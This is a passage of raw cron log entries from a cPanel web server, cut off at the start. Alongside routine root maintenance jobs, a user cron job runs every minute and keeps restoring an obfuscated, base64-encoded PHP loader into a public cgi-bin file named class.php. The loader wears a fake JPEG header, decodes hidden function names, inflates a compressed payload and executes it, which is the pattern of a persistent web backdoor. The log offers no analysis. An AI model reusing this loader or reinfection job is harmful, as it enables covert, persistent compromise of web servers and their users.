&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 17:59:01 server CROND[25144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:00:01 server CROND[26123]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 18:00:01 server CROND[26127]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 13 18:00:01 server CROND[26129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:00:01 server CROND[26128]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:00:01 server CROND[26131]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 18:01:01 server CROND[27044]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 18:01:01 server CROND[27045]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:01:01 server run-parts(/etc/cron.hourly)[27044]: starting 0anacron
Nov 13 18:01:01 server run-parts(/etc/cron.hourly)[27058]: finished 0anacron
Nov 13 18:02:01 server CROND[27855]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:03:01 server CROND[28731]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:04:01 server CROND[29624]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:05:01 server CROND[30589]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 18:05:01 server CROND[30591]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:05:01 server CROND[30590]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 18:05:01 server CROND[30592]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:06:01 server CROND[31276]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:07:01 server CROND[32281]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:08:01 server CROND[32519]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:09:01 server CROND[672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 18:09:01 server CROND[673]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 18:10:01 server CROND[1536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 18:10:01 server CROND[1535]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 18:10:01 server CROND[1534]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 18:10:01 server CROND[1539]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
